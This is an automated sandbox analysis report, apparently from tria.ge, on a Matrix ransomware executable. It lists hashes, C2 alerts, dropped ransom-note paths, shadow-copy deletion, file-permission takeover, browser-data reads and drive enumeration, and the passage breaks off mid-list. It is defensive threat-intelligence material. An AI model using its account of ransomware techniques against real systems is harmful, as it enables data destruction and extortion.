Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
153s -
max time network
138s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
01/02/2022, 08:38
Static task
static1
Behavioral task
behavioral1
Sample
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-en-20220113
General
-
Target
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
-
Size
1.2MB
-
MD5
268360527625d09e747d9f7ab1f84da5
-
SHA1
09772eb89c9743d3a6d7b2709c76e9740aa4c4b1
-
SHA256
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620
-
SHA512
07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1
Malware Config
Extracted
http://myexternalip.com/raw
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
description ioc Process File created C:\Program Files\Microsoft Games\Multiplayer\Backgammon\ja-JP\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\SpiderSolitaire\de-DE\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\lua\http\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jre7\lib\deploy\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Chess\de-DE\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Google\Chrome\Application\89.0.4389.114\WidevineCdm\_platform_specific\win_x64\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jre7\lib\security\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Purble Place\en-US\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jre7\lib\amd64\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\en-US\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\ProgramData\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\packages\vcRuntimeAdditional_amd64\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Public\Pictures\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jre7\lib\zi\Atlantic\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\SpiderSolitaire\es-ES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Multiplayer\Backgammon\de-DE\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jre7\lib\zi\America\Indiana\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Purble Place\es-ES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Purble Place\fr-FR\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Mozilla Firefox\defaults\pref\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Admin\Favorites\Microsoft Websites\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Chess\es-ES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Multiplayer\Spades\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\E16QEJ8K\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ryugmcli.default-release\storage\permanent\chrome\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\ProgramData\Adobe\Updater6\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\Public\Desktop\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Hearts\en-US\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\lua\sd\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\ProgramData\Microsoft\OfficeSoftwareProtectionPlatform\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\ProgramData\Package Cache\{CB0836EC-B072-368D-82B2-D3470BF95707}v12.0.40660\packages\vcRuntimeMinimum_amd64\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\FreeCell\de-DE\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files (x86)\Microsoft.NET\RedistList\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe -
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Blocklisted process makes network request 1 IoCs
flow pid Process 9 1652 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\Drivers\PROCEXP152.SYS MDdnjdT464.exe -
Executes dropped EXE 64 IoCs
pid Process 268 NWgCK2WM.exe 1716 MDdnjdT4.exe 1708 MDdnjdT4.exe 1632 MDdnjdT464.exe 1924 MDdnjdT4.exe 1820 MDdnjdT4.exe 812 MDdnjdT4.exe 108 MDdnjdT4.exe 896 MDdnjdT4.exe 1912 MDdnjdT4.exe 1568 MDdnjdT4.exe 1548 MDdnjdT4.exe 556 MDdnjdT4.exe 1168 MDdnjdT4.exe 1576 MDdnjdT4.exe 1332 MDdnjdT4.exe 812 MDdnjdT4.exe 1508 MDdnjdT4.exe 516 MDdnjdT4.exe 1248 MDdnjdT4.exe 616 MDdnjdT4.exe 1624 MDdnjdT4.exe 1660 MDdnjdT4.exe 556 MDdnjdT4.exe 668 MDdnjdT4.exe 1040 MDdnjdT4.exe 812 MDdnjdT4.exe 760 MDdnjdT4.exe 964 MDdnjdT4.exe 896 MDdnjdT4.exe 1304 MDdnjdT4.exe 972 MDdnjdT4.exe 1464 MDdnjdT4.exe 1508 MDdnjdT4.exe 964 MDdnjdT4.exe 1576 MDdnjdT4.exe 1304 MDdnjdT4.exe 1404 MDdnjdT4.exe 2008 MDdnjdT4.exe 1700 MDdnjdT4.exe 1156 MDdnjdT4.exe 460 MDdnjdT4.exe 1092 MDdnjdT4.exe 1260 MDdnjdT4.exe 1096 MDdnjdT4.exe 1040 MDdnjdT4.exe 1404 MDdnjdT4.exe 1464 MDdnjdT4.exe 1700 MDdnjdT4.exe 812 MDdnjdT4.exe 1508 MDdnjdT4.exe 572 MDdnjdT4.exe 1600 MDdnjdT4.exe 1136 MDdnjdT4.exe 1224 MDdnjdT4.exe 1168 MDdnjdT4.exe 1508 MDdnjdT4.exe 572 MDdnjdT4.exe 1392 MDdnjdT4.exe 860 MDdnjdT4.exe 1492 MDdnjdT4.exe 960 MDdnjdT4.exe 892 MDdnjdT4.exe 1484 MDdnjdT4.exe -
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\ShowGrant.tiff 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Pictures\UpdateGet.tiff 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Pictures\StopSet.tiff 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe -
Sets service image path in registry 2 TTPs
-
resource yara_rule behavioral1/files/0x000500000001413e-69.dat upx behavioral1/files/0x000500000001413e-71.dat upx behavioral1/files/0x000500000001413e-70.dat upx behavioral1/files/0x000500000001413e-74.dat upx behavioral1/files/0x000500000001413e-73.dat upx behavioral1/files/0x000500000001413e-77.dat upx behavioral1/files/0x000500000001413e-79.dat upx behavioral1/files/0x000500000001413e-81.dat upx behavioral1/files/0x000500000001413e-82.dat upx behavioral1/files/0x000500000001413e-84.dat upx behavioral1/files/0x000500000001413e-85.dat upx behavioral1/files/0x000500000001413e-87.dat upx behavioral1/files/0x000500000001413e-88.dat upx behavioral1/files/0x000500000001413e-90.dat upx behavioral1/files/0x000500000001413e-91.dat upx behavioral1/files/0x000500000001413e-93.dat upx behavioral1/files/0x000500000001413e-94.dat upx behavioral1/files/0x000500000001413e-96.dat upx behavioral1/files/0x000500000001413e-97.dat upx behavioral1/files/0x000500000001413e-99.dat upx behavioral1/files/0x000500000001413e-100.dat upx behavioral1/files/0x000500000001413e-103.dat upx behavioral1/files/0x000500000001413e-102.dat upx behavioral1/files/0x000500000001413e-105.dat upx behavioral1/files/0x000500000001413e-106.dat upx behavioral1/files/0x000500000001413e-108.dat upx behavioral1/files/0x000500000001413e-109.dat upx behavioral1/files/0x000500000001413e-111.dat upx behavioral1/files/0x000500000001413e-112.dat upx behavioral1/files/0x000500000001413e-114.dat upx behavioral1/files/0x000500000001413e-115.dat upx behavioral1/files/0x000500000001413e-117.dat upx behavioral1/files/0x000500000001413e-118.dat upx behavioral1/files/0x000500000001413e-120.dat upx behavioral1/files/0x000500000001413e-121.dat upx behavioral1/files/0x000500000001413e-124.dat upx behavioral1/files/0x000500000001413e-123.dat upx behavioral1/files/0x000500000001413e-126.dat upx behavioral1/files/0x000500000001413e-127.dat upx behavioral1/files/0x000500000001413e-129.dat upx behavioral1/files/0x000500000001413e-130.dat upx behavioral1/files/0x000500000001413e-132.dat upx behavioral1/files/0x000500000001413e-133.dat upx behavioral1/files/0x000500000001413e-135.dat upx behavioral1/files/0x000500000001413e-136.dat upx behavioral1/files/0x000500000001413e-138.dat upx behavioral1/files/0x000500000001413e-139.dat upx behavioral1/files/0x000500000001413e-142.dat upx behavioral1/files/0x000500000001413e-141.dat upx behavioral1/files/0x000500000001413e-144.dat upx behavioral1/files/0x000500000001413e-145.dat upx behavioral1/files/0x000500000001413e-148.dat upx behavioral1/files/0x000500000001413e-147.dat upx behavioral1/files/0x000500000001413e-150.dat upx behavioral1/files/0x000500000001413e-151.dat upx -
Loads dropped DLL 64 IoCs
pid Process 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 1692 cmd.exe 1404 cmd.exe 1716 MDdnjdT4.exe 860 cmd.exe 616 cmd.exe 760 cmd.exe 268 cmd.exe 1164 cmd.exe 944 cmd.exe 960 cmd.exe 1936 cmd.exe 892 cmd.exe 1040 cmd.exe 108 cmd.exe 1152 cmd.exe 588 cmd.exe 964 cmd.exe 1224 cmd.exe 1912 cmd.exe 972 cmd.exe 836 cmd.exe 1152 cmd.exe 572 cmd.exe 1260 cmd.exe 1464 cmd.exe 1092 cmd.exe 1660 cmd.exe 1760 cmd.exe 1576 cmd.exe 576 cmd.exe 1312 cmd.exe 1744 cmd.exe 944 cmd.exe 108 cmd.exe 896 cmd.exe 1624 cmd.exe 1924 cmd.exe 1224 cmd.exe 1136 cmd.exe 748 cmd.exe 952 cmd.exe 428 cmd.exe 1752 cmd.exe 944 cmd.exe 960 cmd.exe 896 cmd.exe 1060 cmd.exe 1720 cmd.exe 1168 cmd.exe 1588 cmd.exe 1304 cmd.exe 760 cmd.exe 1900 cmd.exe 1040 cmd.exe 812 cmd.exe 1844 cmd.exe 1760 cmd.exe 1588 cmd.exe 1248 cmd.exe 108 cmd.exe 1040 cmd.exe 1744 cmd.exe -
Modifies file permissions 1 TTPs 64 IoCs
pid Process 668 takeown.exe 268 takeown.exe 1248 takeown.exe 1776 takeown.exe 1636 takeown.exe 2032 takeown.exe 668 takeown.exe 516 takeown.exe 588 takeown.exe 1712 takeown.exe 1180 takeown.exe 1300 takeown.exe 1332 takeown.exe 1776 takeown.exe 1616 takeown.exe 268 takeown.exe 812 takeown.exe 1756 takeown.exe 1744 takeown.exe 2020 takeown.exe 812 takeown.exe 1156 takeown.exe 1752 takeown.exe 1588 takeown.exe 108 takeown.exe 952 takeown.exe 1712 takeown.exe 668 takeown.exe 1624 takeown.exe 1576 takeown.exe 1600 takeown.exe 1248 takeown.exe 1600 takeown.exe 1888 takeown.exe 1600 takeown.exe 108 takeown.exe 1048 takeown.exe 1588 takeown.exe 1560 takeown.exe 432 takeown.exe 1808 takeown.exe 1636 takeown.exe 964 takeown.exe 268 takeown.exe 1492 takeown.exe 1040 takeown.exe 1312 takeown.exe 856 takeown.exe 1136 takeown.exe 1404 takeown.exe 2024 takeown.exe 812 takeown.exe 1776 takeown.exe 812 takeown.exe 1464 takeown.exe 1176 takeown.exe 1060 takeown.exe 268 takeown.exe 944 takeown.exe 856 takeown.exe 2020 takeown.exe 1176 takeown.exe 760 takeown.exe 1020 takeown.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 40 IoCs
description ioc Process File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Recorded TV\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Music\Sample Music\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\ZZZ3YRT4\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Recorded TV\Sample Media\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Documents\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Links\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Microsoft Games\Purble Place\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Favorites\Links for United States\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Downloads\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\VL9MRVWS\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Microsoft Games\Hearts\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Pictures\Sample Pictures\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Searches\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Microsoft Games\Chess\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Microsoft Games\FreeCell\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\E16QEJ8K\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\H2R8HLJC\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Videos\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Desktop\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files (x86)\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Documents\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Libraries\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Music\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Videos\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Public\Pictures\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Users\Admin\Music\desktop.ini 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\V: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\Q: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\O: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\F: MDdnjdT464.exe File opened (read-only) \??\G: MDdnjdT464.exe File opened (read-only) \??\T: MDdnjdT464.exe File opened (read-only) \??\W: MDdnjdT464.exe File opened (read-only) \??\Z: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\S: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\M: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\H: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\V: MDdnjdT464.exe File opened (read-only) \??\Y: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\R: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\P: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\K: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\I: MDdnjdT464.exe File opened (read-only) \??\K: MDdnjdT464.exe File opened (read-only) \??\N: MDdnjdT464.exe File opened (read-only) \??\F: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\O: MDdnjdT464.exe File opened (read-only) \??\P: MDdnjdT464.exe File opened (read-only) \??\Y: MDdnjdT464.exe File opened (read-only) \??\X: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\J: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\L: MDdnjdT464.exe File opened (read-only) \??\Q: MDdnjdT464.exe File opened (read-only) \??\U: MDdnjdT464.exe File opened (read-only) \??\X: MDdnjdT464.exe File opened (read-only) \??\U: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\T: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\N: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\A: MDdnjdT464.exe File opened (read-only) \??\B: MDdnjdT464.exe File opened (read-only) \??\H: MDdnjdT464.exe File opened (read-only) \??\W: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\I: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\G: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\E: MDdnjdT464.exe File opened (read-only) \??\J: MDdnjdT464.exe File opened (read-only) \??\L: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened (read-only) \??\E: 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened 